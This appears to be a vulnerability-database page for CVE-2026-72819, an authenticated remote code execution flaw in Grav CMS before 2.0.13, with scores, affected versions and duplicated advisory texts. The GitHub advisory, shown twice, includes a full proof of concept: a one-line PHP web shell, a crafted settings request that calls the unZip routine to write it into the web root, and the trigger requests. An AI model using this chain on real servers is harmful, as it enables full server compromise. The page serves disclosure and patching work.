Every CVE Search/ Get API key

CVE-2026-72819

Grav CMS before 2.0.13 Remote Code Execution via ZIP Upload

8.7 HighFix available

Grav CMS before 2.0.13 contains a remote code execution vulnerability in the Flex Objects plugin settings validation that allows authenticated users to execute arbitrary code by uploading a ZIP file containing PHP code. Attackers can bypass routine name validation by using array notation instead of string notation, call the unZip routine with a malicious archive, and write PHP files to the web root for execution.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.90%Up 0.4 points since Aug 15, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.7

Grav CMS before 2.0.13 Remote Code Execution via ZIP Upload

Grav CMS before 2.0.13 contains a remote code execution vulnerability in the Flex Objects plugin settings validation that allows authenticated users to execute arbitrary code by uploading a ZIP file containing PHP code. Attackers can bypass routine name validation by using array notation instead of string notation, call the unZip routine with a malicious archive, and write PHP files to the web root for execution.

Record
CVE-2026-72819
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
EUVDEUVD-2026-58633 8.7

Grav CMS before 2.0.13 contains a remote code execution vulnerability in the Flex Objects plugin settings validation that allows authenticated users to execute arbitrary code by uploading a ZIP file containing PHP code. Attackers can bypass routine name validation by using array notation instead of string notation, call the unZip routine with a malicious archive, and write PHP files to the web root for execution.

Record
EUVD-2026-58633
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-r94f-hx44-8jqf 8.7

Grav CMS vulnerable to remote code execution via .zip file upload

Summary

A logged-in user can run any command on the server. A settings field can fill itself by calling one of Grav's built-in routines, and a safety check is supposed to allow only harmless ones. The check only recognises a routine when its name is written as one piece of text; named as a pair of values instead, it is not examined at all and is passed as safe. Pointing such a field at the routine that unpacks ZIP archives writes a PHP file from an uploaded archive into the site's public folder, which the server then runs.

Details

The check rejects known-dangerous routines and, for those belonging to a component, allows only a short approved list. Both of those cases only apply when the name arrives as a single string. The same routine can be named as a pair (the component and the routine inside it), and in that form the check matches neither case, skips both lists and answers "safe". Grav then calls it, with arguments the attacker supplies in the same field. Any routine shipped with Grav becomes callable.

The one used here is what Grav runs when installing a plugin from an archive. It takes an archive and a destination folder. It does check the names of the files inside, so an archive cannot escape with ../, but the destination is used exactly as given, so naming the folder the website is served from drops the contents there. Getting the archive in is trivial: ZIP is an accepted upload type and the files inside are never examined, so an archive containing a PHP file uploads as ordinary media to a predictable address.

Everything is set up over the web. Saving a plugin's settings stores the values as sent, and the Flex Objects plugin treats each entry of its own directory list as the address of a file describing fields. Pointing that list at the settings file being saved makes one file act as both, so the malicious field is created through a normal settings save with no file edited on the server.

PoC

  1. Log in at http://TARGET/login (or /admin). The session cookie is the only credential needed below.

  2. Build and upload the zip file. In the panel this is the Media tab; it is stored unchanged at /user/media/evil.zip.

    Zip the shell.php file with the php code mentioned below:

    shell.php:  <?php system($_GET['c']); ?>
    zip evil.zip shell.php
    
  3. Send the request (attach your Cookie and X-API-Token):

    PATCH /api/v1/config/plugins/flex-objects
    Content-Type: application/json
    
    {
      "directories": ["user/config/plugins/flex-objects.yaml"],
      "title": "Pwn",
      "type": "flex-objects",
      "config": { "data": {
        "object":     "Grav\\Common\\Flex\\Types\\Generic\\GenericObject",
        "collection": "Grav\\Common\\Flex\\Types\\Generic\\GenericCollection",
        "index":      "Grav\\Common\\Flex\\Types\\Generic\\GenericIndex",
        "storage": { "class": "Grav\\Framework\\Flex\\Storage\\SimpleStorage",
                     "options": { "formatter": {"class": "Grav\\Framework\\File\\Formatter\\JsonFormatter"},
                                  "folder": "user-data://flex-objects/pwn.json" } } } },
      "form": { "validation": "loose", "fields": {
        "name": {"type": "text", "label": "Name"},
        "pwn":  {"type": "text", "label": "pwn",
                 "data-default@": [["Grav\\Common\\GPM\\Installer", "unZip"],
                                   "user/media/evil.zip",
                                   "/absolute/path/to/grav-docroot"]} } }
    }
    
  4. Trigger it. In the panel, open the new directory and add an object. As a request (attach your Cookie and X-API-Token):

    POST /api/v1/flex-objects/flex-objects
    Content-Type: application/json
    
    {"name": "x"}
    -> 201
    
  5. Open the file that was written:

    http://TARGET/shell.php?c=id
    -> PWNED:uid=1000(kali) gid=1000(kali) ...
    

Impact

Remote code execution by a logged-in user, so the whole server is compromised. Commands run as the web server's account.

Record
GHSA-r94f-hx44-8jqf
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
GitHub AdvisoriesGHSA-wvxr-6v52-gfmh 8.7

Duplicate Advisory: Remote code execution via .zip file upload in Grav CMS

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-r94f-hx44-8jqf. This link is maintained to preserve external references.

Original Description

Grav CMS before 2.0.13 contains a remote code execution vulnerability in the Flex Objects plugin settings validation that allows authenticated users to execute arbitrary code by uploading a ZIP file containing PHP code. Attackers can bypass routine name validation by using array notation instead of string notation, call the unZip routine with a malicious archive, and write PHP files to the web root for execution.

Record
GHSA-wvxr-6v52-gfmh
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
NVD 8.7

Grav CMS before 2.0.13 contains a remote code execution vulnerability in the Flex Objects plugin settings validation that allows authenticated users to execute arbitrary code by uploading a ZIP file containing PHP code. Attackers can bypass routine name validation by using array notation instead of string notation, call the unZip routine with a malicious archive, and write PHP files to the web root for execution.

Record
CVE-2026-72819
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
OSV 8.7

Grav CMS before 2.0.13 Remote Code Execution via ZIP Upload

Grav CMS before 2.0.13 contains a remote code execution vulnerability in the Flex Objects plugin settings validation that allows authenticated users to execute arbitrary code by uploading a ZIP file containing PHP code. Attackers can bypass routine name validation by using array notation instead of string notation, call the unZip routine with a malicious archive, and write PHP files to the web root for execution.

Record
CVE-2026-72819
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-94
Updated
2026-11-02
OSVGHSA-r94f-hx44-8jqf 8.7

Grav CMS vulnerable to remote code execution via .zip file upload

Summary

A logged-in user can run any command on the server. A settings field can fill itself by calling one of Grav's built-in routines, and a safety check is supposed to allow only harmless ones. The check only recognises a routine when its name is written as one piece of text; named as a pair of values instead, it is not examined at all and is passed as safe. Pointing such a field at the routine that unpacks ZIP archives writes a PHP file from an uploaded archive into the site's public folder, which the server then runs.

Details

The check rejects known-dangerous routines and, for those belonging to a component, allows only a short approved list. Both of those cases only apply when the name arrives as a single string. The same routine can be named as a pair (the component and the routine inside it), and in that form the check matches neither case, skips both lists and answers "safe". Grav then calls it, with arguments the attacker supplies in the same field. Any routine shipped with Grav becomes callable.

The one used here is what Grav runs when installing a plugin from an archive. It takes an archive and a destination folder. It does check the names of the files inside, so an archive cannot escape with ../, but the destination is used exactly as given, so naming the folder the website is served from drops the contents there. Getting the archive in is trivial: ZIP is an accepted upload type and the files inside are never examined, so an archive containing a PHP file uploads as ordinary media to a predictable address.

Everything is set up over the web. Saving a plugin's settings stores the values as sent, and the Flex Objects plugin treats each entry of its own directory list as the address of a file describing fields. Pointing that list at the settings file being saved makes one file act as both, so the malicious field is created through a normal settings save with no file edited on the server.

PoC

  1. Log in at http://TARGET/login (or /admin). The session cookie is the only credential needed below.

  2. Build and upload the zip file. In the panel this is the Media tab; it is stored unchanged at /user/media/evil.zip.

    Zip the shell.php file with the php code mentioned below:

    shell.php:  <?php system($_GET['c']); ?>
    zip evil.zip shell.php
    
  3. Send the request (attach your Cookie and X-API-Token):

    PATCH /api/v1/config/plugins/flex-objects
    Content-Type: application/json
    
    {
      "directories": ["user/config/plugins/flex-objects.yaml"],
      "title": "Pwn",
      "type": "flex-objects",
      "config": { "data": {
        "object":     "Grav\\Common\\Flex\\Types\\Generic\\GenericObject",
        "collection": "Grav\\Common\\Flex\\Types\\Generic\\GenericCollection",
        "index":      "Grav\\Common\\Flex\\Types\\Generic\\GenericIndex",
        "storage": { "class": "Grav\\Framework\\Flex\\Storage\\SimpleStorage",
                     "options": { "formatter": {"class": "Grav\\Framework\\File\\Formatter\\JsonFormatter"},
                                  "folder": "user-data://flex-objects/pwn.json" } } } },
      "form": { "validation": "loose", "fields": {
        "name": {"type": "text", "label": "Name"},
        "pwn":  {"type": "text", "label": "pwn",
                 "data-default@": [["Grav\\Common\\GPM\\Installer", "unZip"],
                                   "user/media/evil.zip",
                                   "/absolute/path/to/grav-docroot"]} } }
    }
    
  4. Trigger it. In the panel, open the new directory and add an object. As a request (attach your Cookie and X-API-Token):

    POST /api/v1/flex-objects/flex-objects
    Content-Type: application/json
    
    {"name": "x"}
    -> 201
    
  5. Open the file that was written:

    http://TARGET/shell.php?c=id
    -> PWNED:uid=1000(kali) gid=1000(kali) ...
    

Impact

Remote code execution by a logged-in user, so the whole server is compromised. Commands run as the web server's account.

Record
GHSA-r94f-hx44-8jqf
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
OSVGHSA-wvxr-6v52-gfmh 8.7

Duplicate Advisory: Remote code execution via .zip file upload in Grav CMS

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-r94f-hx44-8jqf. This link is maintained to preserve external references.

Original Description

Grav CMS before 2.0.13 contains a remote code execution vulnerability in the Flex Objects plugin settings validation that allows authenticated users to execute arbitrary code by uploading a ZIP file containing PHP code. Attackers can bypass routine name validation by using array notation instead of string notation, call the unZip routine with a malicious archive, and write PHP files to the web root for execution.

Record
GHSA-wvxr-6v52-gfmh
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
getgrav/grav
Packagist
before 2.0.13
2.0.13
getgrav/grav
Packagist
before 2.0.13, plus listed versions
0.8.00.9.00.9.10.9.100.9.11
Show 45 moreShow less
0.9.120.9.130.9.140.9.150.9.160.9.170.9.180.9.190.9.20.9.200.9.210.9.220.9.230.9.240.9.250.9.260.9.270.9.280.9.290.9.30.9.300.9.310.9.320.9.330.9.340.9.350.9.360.9.370.9.380.9.390.9.40.9.400.9.410.9.420.9.430.9.440.9.450.9.50.9.60.9.70.9.80.9.91.0.01.0.0-rc.11.0.0-rc.2
2.0.13

History

History
RecordedChangedSources
affected
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-72819 is a high vulnerability (CVSS 8.7) in Getgrav Grav, published August 14, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.90%, the 60th percentile. Fixed in getgrav/grav 2.0.13.

References

This page doesn't list everything

Left out here: 297 versions. The JSON record has them.

MoveEnter Open